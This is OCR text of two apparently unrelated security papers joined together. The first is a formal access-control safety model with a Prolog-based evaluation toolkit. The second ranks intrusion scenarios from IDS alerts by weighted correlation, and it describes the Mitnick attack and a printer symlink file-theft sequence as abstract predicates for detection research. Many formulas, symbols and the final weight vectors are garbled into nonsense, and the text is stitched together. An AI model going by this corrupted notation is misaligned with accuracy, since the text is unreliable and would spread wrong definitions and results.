Analysis of common used state-based security models [4-7] leads to the conclusion
that any such model usually comprises three components (Fig. 1) — a security state,
access control rules, state security criteria.

The Security State Component. It is an abstraction of system state in reference to
security model. Examples of system entities producing the system security state are
the user’s accounts, running programs, files, access rights, etc. So, system security
state is the collection of all entities of the system (active entities, called subjects, and
passive entities, named objects) and their security attributes (access rights, access
control lists, and so on). Therefore, the system security state may be presented as the
system state space.

The Access Control Rules Component. It expresses the restrictions on a system
behavior. The system states transformation is able after the access authorized by the
access control to the system subject. All the system activities initiated by the subject
are caught by the reference monitor. The reference monitor checks the authorization
possibility against the security policy requirements formulated in the form of the
access control rules.

The State Security Criteria Component. This one makes us able to discern the
secure and insecure states. Criteria have the form of constraints which state the neces-
sary conditions of the secure state.

The relations between the described components is depicted in Fig. 2.
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Safety Problem Resolving

Getting assurance that a system behavior will not result in an unauthorized access is
called a safety problem. In practice the safety problem can appear in the following
manner.

Safety Problem in Practice

Consider the next situation. Alice uses for her own purposes some operating system.
She is preparing a private document. Bob works at the same time with another com-
puter. He is getting multimedia from I-net. He has got a very fun music file and
wishes to send it to Alice. So, Bob asks Alice to share one of her directory. Alice has
no time and she shares the current directory where she works. Alice’s operating sys-
tem has security property, but Alice shared the directory with the default access
rights. This default rights present the full control to everyone. Thus Bob can read
Alice’s private document and more — change Alice's rights to access her own text.

In other example, Alice again uses for her own purposes some operating system.
Now she prohibited Bob to access her files and directories. But Alice retained the
access to the system files and executables. After running the system utilities and
changing some system files Bob can set any access right. For example, Bob can suc-
cessfully get the access by FTP to the root file system or to the registry or to the sys-
tem libraries.



150 P.D.Zegzhda, D.P. Zegzhda, and M.O. Kalinin

An important feature of an access control is therefore an ability to verify the safety
of system configurations.

Safety Problem in Theory

Security concerns arise in many different contexts; so many security models have
been developed. A typical categorization of access control models is between manda-
tory and discretionary models.

MAC is safe by definition, and no safety problem resolving is needed for the
MAC-based system, because safety for MAC was proved theoretically in general case
(e.g., [8]). Verification of the safety of any kind of MAC policy is obvious, but, unfor-
tunately, in general case safety cannot be verified for an arbitrary access control
model and system.

By the way Harrison, Ruzzo, and Ullman showed that the safety problem for DAC
models is undecidable in general case [9], and the determining whether the system
implementing access control model is safe in the given state must be resolved for
every system and every state. Unfortunately the great majority of the systems (operat-
ing systems, DBMS, etc.) uses exactly the DAC-based security models as the basis of
an access control mechanism.

Therefore, the safety problem resolving is the actual problem for the security
evaluation, especially, for the DAC-based computer systems.

Mathematical Basis

It is fundamental to ensure that the enforcing of the access control model will guaran-
tee a system security. The system in the given system state is safe according to the
access control model, if:

1. A security state corresponding to the given (initial) system state conforms to the
security criteria.

2. A system access control mechanism realizes the access control rules.

3. All security states reachable from the initial one keep the security criteria fair.

By solving the safety problem, process of producing the reachable states and
evaluating them by criteria is called a safety problem resolving. To make the resolv-
ing process precise it was considered the following formalization.

A General System. A general system X is a state machine: ¥ = {SZ, T, s,%,-,, 0},

where:

e S%is the set of the system states,

e (O denotes the set of the queries executed by the system,

e Tis the state transition function, 7 Q><SZ — S* moves the system from one state to
another: a request ¢ is issued in the state siz and moves the system to the next state
sl%l =T(q, sV,

. s,-%,-t denotes the initial system state.
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)

A system E:{SZ, T, s,%,-, , O} is a finite machine: a state s= is reachable in the sys-

tem X if and only if there is the sequence <(q,, sOz )s s (g, sn2 )> such that sOz = s,%it ,
snzzsz, and siz =T(q, SEI) if O<i<n. Note that for any system s,-%i, is trivially
reachable.

A General Security Model. A general security model M is an ensemble of sets,

M={S, R, C}, where:

e S denotes the set of the security states defined by the security model,

e R is the set of the access control rules in the form of logical predicates r(s, s’) de-
fined on $X§ and checking that the transition from s to s’ meets to the security
model,

e ( is the set of the state security criteria in the form of logical predicates c(s) de-
fined on S and checking security of the state s. A state s€ S is secure if and only if
for every security criterion ¢ from C the predicate c(s) is true: Vce C: c(s)=true.

A System Safety Property. A system safety property A can be formulized as A={M,
2, D}, where:
e M is the access control model, M={S, R, C},

e X denotes the system, = = {5, T, s,%i, , 0},

e D is the mapping function, D: S*—S, which sets the relation between the system
states and the security states.

By the definitions being specified, a system safety statement may be formulated.

A System Safety Statement

The system X implementing the model M is safe if and only if:

1. Vee C: o(D(sZ;, ))=true,

2.V siz , SI.ZJr1 es™ Si%rl =T(q, siz ) As=D( sl-2 ), s..=D( Si%l ) and VreR: (s, s, )=true,
3.V siz es™: siz is reachable from s,-%i, , Vee C: e(D( s,-Z ))=true.

This statement declares an analogous of the General Security Theorem [4, 5], but
in reference to the safety problem in real computer systems.

i+l

Security Tasks Statement

The introduced theory establishes a basis of the problems which face every participant
of IT-security: the theoreticians, the system developers and the evaluators. According
to the proposed definitions we can state three problems.

Model Proof. For the given model M we have to prove that any reachable state from
S satisfies the security criteria C. In this case we prove that every system realized on
such a mode will be safe in general.

System Design. For the given system X, the security criteria C, and the security states
S we have to create the access control rules R so that system X with M={C, S, R} will
be safe.
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Safety Evaluation. For the given system X and the access control model M we have
to evaluate the safety of system states reachable from the given one.

In the light of the mentioned theoretical foundations and for getting the security
evaluation solution it becomes possible to design the safety evaluation tools which
will help the evaluator to automate the process.

Safety Problem Solution

Safety Evaluation Phases

The solution of the safety evaluation problem may be formulated as follows. For
getting this problem solved it is necessary to execute three phases:

1. Evaluate a given system state s,%,-, €S* by the security criteria C: Vce C:
o(D(s%;,)) = true

2. Prove that the system access control mechanisms realize the access control rules R:
VsiZ 52 e Ss%: s%rl = T(q, sl-z) s, = D( s,-2 ), 5., = D( sl.2+1) and VreR: 1(s, s,) =

59741 i+
true
x>

# e S reachable from the given state s , €S> and evaluate

ini
their safety by the security criteria C: Vs,-zeSZ: siz

D( s,~2 ): Vce C: c(s,) = true

3. Generate the states s

is reachable from s,-%,-t, s, =
Having these, it is sure that given system is safe.

Safety Evaluation Solution

Evaluation approach is based on a logic-based language for a problem specification
and a special tool for a specification processing.

Safety Problem Specification Language. It is the logic-based means to express the
access control rules, the security criteria, and the security states definition in the form
of the logical predicates using Prolog syntax [10]. We specify the system security
state and behavior with a Security State Scope. The access control rules described in
SPSL form an Access Control Rules Scope, while state security criteria are noted as a
Security Criteria Scope. SPSL lets to specify a wide class of the access control models
based on the states of system entities and security attributes. We have already used
SPSL for specifying a number of access control models, including Bell-LaPadula
model, Harrisson-Ruzzo-Ullman model, UNIX access control bits, and role based
access control.

For example, consider the Windows2000 operating system. In this system the secu-
rity state is formed by subjects (e.g., users, user groups), objects (e.g., files, registry
keys), and access control rights. Access control rights are written in list, called Access
Control List (ACL). In ACL there is the map between subjects, objects, and access
modes.
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Safety Problem Resolver. A special tool was developed for interpreting and process-
ing the SPSL-specifications, named a safety problem resolver (SPR). SPR is a logical
machine based on the Prolog kernel. It gets SPSL specification and uses the logical
rules for resolution. We can apply SPR to a safety problem solving as it is described
below (Fig. 3).

If we need to evaluate given system state s,%i, €S> by the model criteria C, we can
put the system state s,%i, and criteria C to SPR and determine its safety according to

the security criteria C: Vce C: c(s=D( s,%i, )) = true. We make the assumption that the

system security mechanism implements the access control R properly.

ZeS reachable from s

safety, we need to put the current state s,%it € S*, access rules R and security criteria

C, and produce all the states s,-2

If we need to generate the states s ,%,t and evaluate their

reachable from s,%,-, and test their security in two
stagf:S'

1 VsF 5% e8% sk =T(g,s7) 35,= D(sF), 5,= D(s7))
and VreR: r(s, s,,,

2.V siz es™ s 2 is reachable from s,%,, ,8,=D( siz ):Vce C: c(s,) = true

) = true

Access Control Rules

Si Si+1
7 R ofolo
0 NO[O[O
o f )
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Initial State Criteria
7 Safety Problem Resolver
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ol [o N :
0 A 'System States @@ E Prolog
- |Space : Logical S5
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S i H C
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Fig. 3. Safety Problem Resolver

Safety Evaluation Workshop

Evaluation Framework Structure

On the basis of SPR we build a number of tools, which bring the process of safety
evaluation to the routine procedure:
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State Analyzer,

Security State Scope,
Access Control Rules Scope,
Security Criteria Scope,
Security Criteria Manager,
Security Flaws Explorer,
Evaluation Reporter.

This seven join to the integrated evaluation framework called Safety Evaluation
Workshop, SEW (Fig. 4).

Windows Firewall (s:e'c;ur'ity
riteria | NIX |
(WiN] )  ([FW]) Manager | FW |

Evaluator

Linux - Varjed

( ) Evaluation
Targets Reporter
4 *
Security

reeecccccccsenn

System Security State Flaws
Static Analyzer Explorer
System Security State
Dynamic Analyzer ‘
Scopes
Safety
— . Problem
Resolver

Fig. 4. SEW Structure

Automated Evaluation

For the selected type of the system (such as operating systems, firewalls, etc.) we
have to formulate three scopes, develop an automatic State Analyzer, interactive Se-
curity Criteria Manager, and Flaws Explorer. SPR and Evaluation Reporter are the
task-independent ones.

At first, system to be evaluated and the model having been implemented in the sys-
tem need to be specified in SPSL in the form of the scopes.

Security State Scope is delivered by the State Analyzer automatically. In Windows
2000 a special executable collects the system security state. In the Windows terms
this means that the State Analyzer gathers information about users, groups, their ac-
cess rights, registry entries values, etc.

Security Criteria Scope is interactively configured by evaluator. Security criteria
are the subjective one, because only person may estimate the value of information and
the constraints on its access. The special tool is used by evaluator to set the criteria,
the Security Criteria Manager. In Windows 2000 it is a special interactive dialog ap-
plication asking the evaluator for the security criteria, editing, and saving them.

Access Control Rules Scope, the only scope which is predefined, may be formu-
lated as the requirements of the security policy. The access control rule says when the
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access is granted. In Windows 2000 there is the standard set of access types. For ex-
ample, in Windows 2000 user can read file NTDETECT.COM if user belongs at least
to Power User group and has no ACL restriction. Obviously, all the scopes are speci-
fied in SPSL.

Three scopes are targeted to SPR. SPR checks the initial system security state by
the security criteria, then it generates all reachable states and check them by the crite-
ria. Output of SPR is the Safety Verdict which contains "Safe/Unsafe" decision.

SPR exports API to a logical machine call and will provide a convenient interface
for starting and stopping the evaluation process, controlling the progress, filling the
logical machine with the predicates, and receiving the results.

If SPR produces the system state, which makes the security criteria false, the Secu-
rity Flaws Explorer demonstrates the sequence of the events, which leads to the secu-
rity fault. And Evaluation Reporter produces the final report containing an access
control model, an initial state, access control rules, security criteria, an evaluation
result, and a security flaws trace.

In Windows 2000 Security Flaws Explorer will generate the fault state report, con-
taining users, groups, files, ACL, registry at the moment of flaw. This is like the
stamp of the system. The report will also include the sequence of states and transitions
which move the system to the fault state from the initial one.

Evaluation Reporter collects the report from Security Flaws Explorer and the ver-
dict from SPR and forms the Final Report. The Final Report is the documentation,
which has the proof of system safety or unsafety.

SEW Applications

Safety Evaluation Workshop has task-depended and task-independent components. In
the Fig. 4 different kinds of systems to be evaluated (Windows, Linux, or Firewall)
are presented. This is the sample set of systems for evaluation. The evaluation may be
extended to variety of information systems. It is very important that the kernel of the
automated evaluation, SPR, is the task-independent unit. This circumstance makes it
possible to build on its base the evaluation programs of varied targets.

SEW may at least have two variants of security estimation. There are dynamic and
static modes of work. In the static mode the system security state gathering cuts all
other load of the system. State Analyzer collects all system information and forms
inputs for SPR, SPR produces the Safety Verdict, and the Reporter generates the Final
Report. In this case the Workshop is the set of routines and applications. The estima-
tor runs them. In the dynamic mode Workshop is running as above but at background
and does not stop the system load. It is convenient for user but implicates the system
resources waste.

Conclusion

This paper investigates new directions for analyzing the security policies. We have
found the framework of logic useful for this purpose especially when dealing with
security policies which include situations where some norms may be violated. We
focused on how to check the security policy consistency. The proposed approach has
the potential for greatly increasing the ease of evaluation and maintenance of secure
system.
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For this aspect, support tools have been implemented. We have developed a secu-
rity constraints checker, SPR, which uses the logical resolution. The SPR-based tool-
kit, SEW, was constructed for the workplaces operating system safety evaluation. The
SEW can drastically improve the security policy enforcement.

This experiment also raises several interesting real-world problems which seem to
require more theoretical development. In particular, the analysis of the security policy
constraints shows that the concepts of responsibility must be modeled. It also shows
that our approach must be extended in order to express temporal notions and differ-
ence between the declared and implemented security features (such as the security
flaws and vulnerabilities). There are several other functionalities that we plan to in-
vestigate in the future. For instance, functionality for designing evaluation tools for
intercommunication between several systems, each of them being associated with its
own security policy.

Observing our current achievements and the results of analysis of the security poli-
cies enforcement by the security mechanisms of common operating systems, we can
show that the theoretical undecidability can be resolved in the particular cases with
proposed technique.
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Abstract. Generally, the intruder must perform several actions, orga-
nized in an intrusion scenario, to achieve his or her malicious objective.
Actions are represented by their pre and post conditions, which are a
set of logical predicates or negations of predicates. Pre conditions of an
action correspond to conditions the system’s state must satisfy to per-
form the action. Post conditions correspond to the effects of executing
the action on the system’s state.

When an intruder begins his intrusion, we can deduce, from the alerts
generated by IDSs, several possible scenarios, by correlating attacks, that
leads to multiple intrusion objectives. However, with no further analy-
sis, we are not able to decide which are the most plausible ones among
those possible scenarios. We propose in this paper to define an order
over the possible scenarios by weighting the correlation relations between
successive attacks composing the scenarios. These weights reflect to what
level executing some actions are necessary to execute some action B. We
will see that to be satisfactory, the comparison operator between two
scenarios must satisfy some properties.

1 Introduction

The main objective of computer security is to design and develop computer
systems that conform to the specification of a security policy. A security policy
is a set of rules that specify the authorizations, prohibitions and obligations of
agents (including both users and applications) that can access to the computer
system. An intruder (also called hacker or cracker) might be viewed as a malicious
agent that tries to violate the security policy. Thus, an intrusion is informally
defined as a deliberate attempt to violate the security policy.

Sometimes the intruder might perform his intrusion by using a single action.
For instance, performing a deny of service using the ping of death attack simply
requires sending a too long IP packet. However, more complex intrusions gen-
erally require several steps to be performed [96l7]. For instance, let us consider
the Mitnick attack. There are two steps in this attack. In the first step, the in-
truder floods a given host H. Then the intruder sends spoofed SYN messages
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corresponding to H address to establish a TCP connection with a given server S.
When S sends a SYN-ACK message, H would normally send a RESET message
to close the connection. But this is not possible since H is flooded. This enables
the intruder to send an ACK message to illegally open a connection with .S. No-
tice also that opening a TCP connection with .S is probably not the intruder’s
final objective. It is likely that the intruder will then attempt to get an access on
S for instance by performing a rlogin. This means that the Mitnick attack will
actually represent preliminary steps of a more global intrusion. In the following,
we shall call intrusion scenario the complete sequence of actions that enables
the intruder to achieve his intrusion objective.

In [12] a notion of attack correlation, which allows to recognize various steps
of an intrusion scenario, has been defined. Then an approach, based on attack
correlation, which recognizes if a sequence of correlated actions can lead to an
intrusion objective (malicious intention recognition) has been developped. This
approach allows to build a set of possible scenario instances compatible with
observations generated by IDSs.

The proposed approach in [1[2] is not satisfactory. Indeed, the number of
possible scenarios can be high, and no additional information is provided to the
system administrator to distinguish between the most plausible scenarios and
the less plausible ones.

This paper proposes a new approach to alert correlation which allows to rank
order different possible scenarios. We first enrich the representation of action by
also considering the detection time of each action. We distinguish two kinds of
influence relations between two actions:

— positive influence relation where the realisation of an action A may lead to
the realisation of an action B.

— negative influence relation where the realisation of action A blocks the real-
isation of B

Then, we associate with each action A a weight which represents the plausibility
of realisation of action A, given the fact that some actions (which may directly
influence A) have been achieved. These weights will allow us to compare and
rank-order different scenarios.

The rest of this paper is organized as follows. Section 2 introduces the repre-
sentation of actions and scenarios. These representations are simple extensions
of those used in [I] taking into account the notion of detection time. Section
3 presents an example and illustrates the need for defining methods to limit
the number of possible scenarios. Section 4 presents the weighted correlation
approach.

2 Modelling the Intrusion

In order to model the intrusion process, we extend the material defined in [I].
We consider that the intruder can use a set of actions to achieve his intrusion
objective, more precisely he must find a subset of actions that allows him to
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reach a system state where the security policy is violated, i.e where the intrusion
objective is reached.

We assume that we have a set of actions that an intruder can execute, and
a set of intrusion objectives to be protected. Intrusion detection systems (IDSs)
produce alerts which correspond to instanciated attacks.

Our aim is to see if there are sequences of instanciated attacks, called sce-
narios, which allows to reach an intrusion objective.

The following subsections first gives the representation of actions and in-
trusion objectives, then defines the notions of action correlation and intrusion
scenarios.

2.1 Representing Actions

In [I], actions are represented by their pre and post conditions. Pre conditions
of an action represent the state the system must satisfy in order to be able to
execute the action. Post condition expresses the effects of the action over the
system state.

Discovering correlation links among a set of actions often involve the time
where these actions are detected. Indeed, in practice we deal with time-stamped
alerts, associated with attacks, that are totally ordered. The order over a set of
alerts is imposed by the intruder who is doing the intrusion.

We propose to augment the action model by adding the time-stamp which
represents the time where the action has been detected.

Definition 1: Action Modelisation. An action A is modelled using four fields:

— Name(Param,, Params, ..., Param,,): a functionnal expression represent-
ing the name of the action and its parameters

— DetectTime: the timestamp at which the action has been detected

— Pre condition: conjunction of predicates the system’s state must satisfy in
order to be able to execute the action.

— Post condition: conjunction of predicates expressing the effects of the action
over the system’s state.

From now DetectTime(Action;) designates the timestamp of an action’s in-
stance. Pre(Action;) and Post(Action;) designate respectively the action’s pre
conditions and post conditions.

Fig. [[] shows examples of action modelisations, which will be used later to
define scenarios.

2.2 Representing Intrusion Objectives

Intrusion objectives are modelled by a condition over the system’s state.

Definition 2: Intrusion Objective Modelisation. An intrusion objective O is mod-
elled using two fields:
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Action touch(Agent, File)

Detectime: timestamp

Pre: OperatingSystem(O.S)

Post: file(File),
authorized(Agent, read, File),
authorized(Agent, write, File)

Action block(Agent, Printer)

Detectime: timestamp

Pre: printer(Printer),
physical_access(Agent, Printer),
not(blocked(Printer))

Post: blocked(Printer)

Action Ipr -s(Agent, Printer, File)
Detectime: timestamp
Pre: printer(Printer),
file(File),
authorized(Agent, read, File),
OperatingSystem(O.S)
Post: queued(File, Printer)

Action remove(Agent, File)

Detectime: timestamp

Pre: authorized(Agent, write, File),
file(File)

Post: not (file(File))

Action In -s(Agent, Link, File)

Detectime: timestamp

Pre: not (file(Link))
OperatingSystem(O.S)

Post: linked(Link, File)
file(File)

Action unblock(Agent, Printer)
Detectime: timestamp
Pre: printer(Printer),
blocked(Printer),
physical _access(Agent, Printer)
Post: not (blocked(Printer))

Action print-process(Printer, Link)
Detectime: timestamp
Pre: queued(Link, Printer),

linked(Link, File),

not (blocked(Printer))
Post: printed(Printer, File),

not (queued(Link, Printer))

Action get-file(Agent, File, Printer)
Detectime: timestamp
Pre: printed(Printer, File),

physical .access(Agent, Printer)
Post: read_access(Agent, File)

Fig. 1. Definition of actions used in the illegal file access scenario
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— Name(Param,, Params, ..., Param,,): a functionnal expression represent-
ing the name of the objective and its parameters

— StateCondition: conjunction of predicates the system’s state verify when the
objective is reached.

For example the intrusion objective DOS_on_DNS(Host) is reached when
the two following predicates are satisfied: dns_server(Host) and dos(Host).
They signify respectively that Host is a DNS server and that Host is not avail-
able. Fig. 2lshows another example of intrusion objective modeling. The intrusion
objective illegal file access is achieved when an agent obtains a read access to a
file while he is not allowed to do so.

Intrusion_Objective illegal_file_access(File)
State_Condition: read-access(Agent, File),
not (authorized(Agent,read, File))

Fig. 2. Illegal file access intrusion objective

2.3 Representing Domain Knowledge or System’s State

Domain knowledge or system’s state, denoted by K, contains available informa-
tion about the system. It is represented by a set of predicates. For instance, do-
main knowledge K can be equal to {file(secret_file), printer(ppt),
physical_access(bad_guy, ppt)}, which means that secret_file is a file, ppt is
a printer and that the agent bad_guy has access to the printer ppt.

2.4 Action Correlations

For the intruder, once the intrusion scenario and the intrusion objective have
been defined, the set of actions necessary to achieve its goal is defined and fixed.
On the intrusion detection point of view, we must find among a big amount
of intrusion alerts a set of alerts that lead to an intrusion objective. For this
purpose we define action correlation. Action correlation allows us to say that if
an action A is correlated with an action B, then A may have an influence over
the realisation of B.
Let F and F be two logical expressions having the following forrdl!):

— E =exprg,,expre,,...,expre,,
— F =exprp,,exprr,,...,exprr,

where each exprg, (resp exprp,) is either a predicate or a negation of predicate,
namely exprg, (resp expry,) must have one of the following forms:

! Notice that we assume that these two expressions do not include disjunctions. This
is a restriction which is used to simplify definitions of correlation. Generalising cor-
relation definitions to take into account disjunctions represents further work that
remains to be done.
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— exprg, = pred
— exprg, = not (pred)

where pred is a predicate. We also assume that E and F' are not equivalent to
true.

Definition 3: Correlation. We say that logical expressions F and F are correlated
if there exist 4 in {1,..,m} and j in {1,..,n} such that exprg, and exprp, are
unifiable through a most general unifier (mgu) 6.

Definition 4: Action Correlation or Positive Influence. An action A has a posi-
tive influence on an action B if the post condition of A and the pre condition of
B are correlated using definition 1.

Fig. B illustrates an example of attack correlation where the action mount
may have a positive influence on the action .rhostmod: fication.

action mount(User,Address,Partition) action .rhost modification(User,Address,Partition)
Pre: remote_access(User,Address), Pre: remote_access(User,Address),
mounted_partition(Address,Partition) \ can_access(User,Partition),
Post:‘can_access(User,Panition) / owner(Partition,U),
userid(U,Userid)

Post: user_access(User,Address)

Fig. 3. Example of positive influence between two attacks

Definition 5: Malicious Action. An action A is a malicious action with respect
to an intrusion objective O, if the post condition of A and the state condition
of O are correlated.

For example the action get-file(Agent, File, Printer) is a malicious action
because its post condition is correlated with intrusion objective
illegal_file_access(File).

Definition 6: Initial Action. An action A is said to be an initial action if either
its pre condition is equal to true, or all its pre condition predicates are satisfied
by the system’s state.

For example the action touch(Agent, File) is an initial action, since its pre
condition is equal to true.

2.5 Intrusion Scenario

An intrusion scenario is a sequence of action which aims at modifying the sys-
tem’s state in order to reach a particuliar state where the intrusion objective is
achieved.
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Definition 7: Intrusion Scenario. An intrusion scenario is a sequence
S(A1, As, ..., Ay, O) where A;’s are attacks instances, Ap is an initial action and
O is an intrusion objective instance such that:

— Vi,j € {1,..,n}, if ¢ > j then Detectime(A;) > Detectime(A;)
— Vi e {l,..,n}, 3j < isuch that A; has an influence over A;.
— A, is a malicious attack with respect to O

Note that other actions (than A,) in scenario S can also have an influence
over O.

3 Example and Limitations

The definition of correlation used in this paper is quite weak. Actually two
actions are correlated as soon as they have one predicate in common in their
post condition and pre condition. As a side effect, given a set of actions we can
build a high number of scenarios leading to an intrusion objective. We illustrate
this with a scenario example leading to an illegal access to a protected file.

Let us consider an intruder, bad_guy, and a confidential file secret_file.
Let us say that bad_guy wants to reach the intrusion objective
illegal _file_access(secret_file). The intruder and the system start in the fol-
lowing system’s state K:

— file(secret_file)

— not(read_access(bad_guy, read, secret_file))
— printer(ppt)

— physical _access(bad_guy, ppt)

— not(blocked(ppt)

This means that secret_file is a file, bad_guy does not have the rights to read
it and ppt is a printer that bad_guy can reach physically. bad_guy wants to reach
a system state where the following conditions are achieved:

— read-access(bad_guy, read, secret_file))
— not(authorized((bad_guy, read, secret_file))

That is, bad_guy can read the sensible file secret_file while he is not allowed
to do so.
Let us assume that the following actions are detected:

— A = touch(bad_guy, guy-_file) with Detectime(A) = t;

B = block(bad_guy, ppt) with Detectime(B) = to

C = lpr-s(bad_guy, ppt, guy-file) with Detectime(C) = t3

— D = remove(bad_guy, guy-_file) with Detectime(D) = t4

— E = In-s(bad_guy, guy_file, secret_file) with Detectime(E) = ts
F = unblock(bad_guy, ppt) with Detectime(F) = tg

G = print — process(ppt, guy-_file) with Detectime(G) = t;

— H = get — file(bad_guy, secret_file) with Detectime(H) = tg

The timestamps are such that t; < to < t3 <ty <ty <tg <ty <ts.
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3.1 Possible Scenarios

From the set of instanciated actions presented above and according to the def-
inition of action correlation, we can build several plausible scenarios which are
all correlated to the illegal file access intrusion objective. Fig. Ml shows the cor-
relation links existing in our example according to the actions timestamps and
hence exhibits the following possible scenarios:

— scenario 1: S

= (A,B,C,D,E,F,G,H,0)
— scenario 2: Sy = (A,C,G, H,0)
— scenario 3: Sg =(A,D,E,G,H,0)
— scenario 4: S4 = (B,F,G,H,0)
— scenario 5: S5 = (A,C,D,E,G, H,O)
— scenario 6: Sg =(A,B,D,E,F,G,H,0)
— scenario 7: S; = (A,B,C,F,G,H,O)

Note that only scenario 1 involves all instanciated actions (A— H). A and B
are initial states since Pre(A) is true and all predicates of Pre(B) are satisfied
by the initial system’s state.

Any system administrator would easily conclude that the most dangerous
scenario among those seven possible scenarios is the first one which uses all the
actions. However we would like to be able to choose automatically the most
plausible scenario among those seven. More generally, given a set of action in-
stances, we would like to be able to build a set of possible scenarios and choose
the most plausible one among them. In order to achieve this, we introduce in
the next section two improvements which are the notion of anti-correlation and
the notion of weighted correlation.

4 Weighted Correlation

The first improvement consists in introducing the notion of anti-correlation, or
negative influence, between two actions. Intuitively, A anti-correlates B if when A
is achieved, B cannot be imediately observed. More precisely, A anti-correlates
B is there exists an expression expr; in Post(A), and an expression exprs in
Pre(B) such that expr; and not(exprs) are unifiable.

Definition 8: Anti-correlation. We say that logical expressions E and F' are anti
correlated if one of the following conditions is satisfied:

— there exists ¢ in [1,m] and j in [1,n] such that exprg, and not (exprr;) are
unifiable through a mgu 6.

— there exists i in [1,m] and j in [1,n] such that not (exprg,) and exprp, are
unifiable through a mgu 6.
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Definition 9: Negative Influence. We say that an action A has a negative influ-
ence on an action B if Pre(A) and Post(B) are anti-correlated using definition
8.

For instance, the post condition of touch(Agentl, Filel) is anti correlated
with the pre condition of In-s(Agent2, Link2, File2) through the unifier Filel =
Link2 (see fig. H).

Anti-correlation allows us to ignore scenarios containing at least one action
which has a negative influence on another action.

action Touch(Agentl1,Filel)
Pre: OperatingSystem(UNIX)

Post:|file(Filel),

authorized(Agent1,read,Filel)

Anti correlated throught
unifier File1=Link2

action In -s(Agent2,Link2,File2)

Pre:not(file(Link2)), [<———

OperatingSystem(UNIX)
Post: linked(Link,2File2),
file(File2)

Fig. 5. Example of anti correlation between two attacks

The second improvement that we propose is to associate to each action in-
stance B, in a given scenario, a correlation weight. This weight depends on the
set of all attacks which have a positive or negative influence on B.

Let us denote by Sp the set of actions belonging to scenario S, which have
an influence on B. Then the correlation weight associated to B is defined from
the number of predicates of Pre(B) that can be unified with post conditions of
actions in Sp. More formally, let:

— Pos(Sp) = Ugeg, Post(A)

— U(Sg, B): the number of predicates in Pre(B) which are unified at least
with one element of Pos(Sg)

Then:

Definition 10: Correlation Weight. A correlation weight associated with an ac-
tion B in a scenario S, denoted by wg(B), is defined as:

0 if there exists at least one element in Sp
which has a negative influence on B
ws(B) =91 if Sp =0 (namely, B is an initial state)
UlSe.B) ot herwise

[Pre(B)]
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Where |Pre(B)| is the number of predicates in the pre condition of B. In
other terms wg(B) gives the rate of preconditions in B that can be achieved
using a scenario S.

Similarly, wg(O) gives the ratio of state conditions in intrusion objective O
that can be satisfied in a scenario .S, namely:

0 if there exists at least one element in Sp
ws(0) = which has a negative influence on O
U(S0,0) th :
|StateCondition(O)| Otherwise

5 Weighting Scenarios

This section aims at showing how correlation weights can be used to rank-order
a set of possible scenarios leading to the same intrusion objective.

In the following, to each scenario S = (Aj, As, ..., A, 0) we associate its
vector of correlation weights (ws(A41),ws(As2),...,ws(Ap),ws(0)). The question
is how to aggregate these weights in order to evaluate the plausibility of a given
scenario and how to compare two weighted scenarios. By g we designate the
aggregation operator.

A first natural aggregation mode is to consider the mean operator, namely:

Mean-based agregation mode:

Y ws(Ai)+ws(0)
9(Ar, e Ay O) = F

However this aggregation mode is not desirable since scenarios containing
actions with a null weight are not excluded.

Conjunctive-based agregation mode:

A natural condition that g should satisfy is:

If 3i e {1,..,n} ws(4;) =0 or ws(0) = 0 then g(44,...,A,,0) = 0.

Aggregation functions satisfying this condition are called conjunctive oper-
ators. A weaker form of such operators can be if wg(A4;) = 0 or wg(0O) = 0
then scenario S should be among the least plausible ones. The weakest form of
a conjunctive operator would be to say that a scenario S should not be among
the most plausible ones if wg(A;) =0 or wg(0) = 0.

An example of aggregation operator which is conjunctive is the minimum
operator, namely:

Definition 11: A scenario S = (41, Aa, ..., Ay, O) is said to be more plausible
than S’ = (Bl, BQ, ceey Bn/, O) if
min((ws(A1),ws(Az), ...,ws(Ayn),ws(0))) >
min((wgl (Bl), wgr (BQ), e, Wgr (Bn/), wgr (O)))
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This definition considers that a scenario is plausible as soon as the lowest cor-
relation weight of an action is somewhat plausible. The higher is the correlation
weight, the more plausible is the scenario.

This definition is however too restrictive. Assume that we have two scenarios
S = (41,As,...,A,,0) and S’ = (By, Ba, ..., Bpr, O). Concerning the scenario
S assume that Vi € 1,n,ws(A4;) = @ and wg(O) = a. Assume also that for
the scenario S’ there exists j such that wg/(B;) = « and that Vi € 1,n/,i #
Jywer(Bi) > a,ws/(0) > a. In such a case, one would clearly prefer scenario
S’ to S since S’ contains stronger correlated actions. But they are considered
equally plausible when compared with the minimum operator since we only
consider the worst correlated action.

A possible refinement of the minimum operator is to use a so-called “leximin
operator”, well-known in social-choice theory [5]. The leximin ordering makes
sense only when comparing two equally sized vectors. Hence when comparing
two scenarios having a different number of actions, we have to duplicate the
lowest weight in the shortest scenario to obtain two equally sized vectors of
weights. The following describes the leximin ordering;:

Definition 12: Let ¥ = (v1, ..., v,) and o = (v, v),) be tvvo vectors of weights
ranked increasingly, namely v; > ... > v, and v} > ... > v/,. Then ¥ is said to

be leximin prefered to v’ if 3¢ such that v; > v} and Vj <1, vj = vj.

In order to apply this definition to rank-order scenarios, we view the corre-
lation weights associated to each scenario S as a vector of weights 7. By Vg(s
we denote the vector obtained from g by ranking the weights increasingly.

Then, the selection of plausible scenarios is given by the following definition:

Definition 13: A scenario S is prefered to S/, denoted by S > 5/, if 00(33 > lezimin
Vo ( 5/3. A scenario S is among the most plausible scenarios if there is no scenario
S’ such that S’ > S.

Let us go back to our illegal file access example.
As we said in the section possible scenarios, according to definition 3 we can
build the following seven scenarios:

— scenario 1: S1 = (A,B,C,D,E,F,G, H,O)

— scenario 2: Sy = (A,C,G, H,O)

— scenario 3: S3 = (A, D, E,G, H,O)

— scenario 4: S4 = (B, F,G, H,O)

— scenario 5: S5 = (A,C,D,E,G, H,O)

— scenario 6: S¢ = (A, B,D,E,F,G,H,O)
— scenario 7: Sy = (A,B,C,F,G,H,O)

According to definition 10, their corresponding vectors of weights are:

— scenario 1: o5 = (1,1,1,1,1,4,1,2.4 andm g 1.11,1,1,1,1,1)
~ scenario 2 75} = (1.1}, 3. ) and sy = (4, 4.4.1.1)
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— scenario 3: g = (1,1,1, 4,4 1) and 7,(5,5 = (3,4,3,1,1,1)

— scenario 4: Ug, = (1,%,%,%,%) and V55, = (%, %, %, %, )

— scenario 5: o) = (1,1,1,1,1,1, 1) and %Tgsg =(%3.3.1,1,11)

— scenario 6: g, = (1,1,1,1, 4,1, 3, 3) and U5(5,0 = (3,3, 3,3, 1, 1,1,1)
— scenario 7: Ug, = (171,1,%,% % 1) and m % % %,%,171,1)

